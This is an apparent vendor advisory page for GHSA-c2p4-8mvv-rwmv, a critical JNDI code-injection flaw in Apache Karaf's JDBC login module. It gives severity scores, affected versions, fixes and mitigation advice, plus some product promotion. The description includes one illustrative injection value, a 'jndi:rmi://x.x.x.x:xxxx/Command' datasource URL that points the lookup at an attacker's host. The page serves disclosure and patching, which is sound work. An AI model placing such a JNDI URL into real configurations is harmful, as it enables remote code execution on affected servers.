GHSA-c2p4-8mvv-rwmv is a critical-severity (CVSS 9.8) Improper Input Validation vulnerability in org.apache.karaf:apache-karaf. A fix is available for org.apache.karaf:apache-karaf — see the affected versions and patch details below.
Apache Karaf vulnerable to potential code injection
Exploitation Status
No confirmed exploitation observed yet
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-c2p4-8mvv-rwmv.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-c2p4-8mvv-rwmv plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 379,145 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.apache.karaf:apache-karaf☕org.apache.karaf:apache-karafReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
This vulnerability is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource uses InitialContext.lookup(jndiName) without filtering. A user can modify options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName()); to options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command"); in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server. This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. Maintainers encourage the users to upgrade to at least Apache Karaf versions 4.4.2 or 4.3.8.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.apache.karaf:apache-karaf | all versions | 4.3.8org.apache.karaf:apache-karaf:4.3.8 |
| ☕Maven | org.apache.karaf:apache-karaf | ≥ 4.4.0&&< 4.4.2 | 4.4.2org.apache.karaf:apache-karaf:4.4.2 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.apache.karaf:apache-karaf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.apache.karaf:apache-karaf to 4.3.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-c2p4-8mvv-rwmv is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-c2p4-8mvv-rwmv can be triaged on real exposure rather than presence alone.
Tailored to GHSA-c2p4-8mvv-rwmv. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-c2p4-8mvv-rwmv in your dependencies?
O3 Security finds GHSA-c2p4-8mvv-rwmv across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.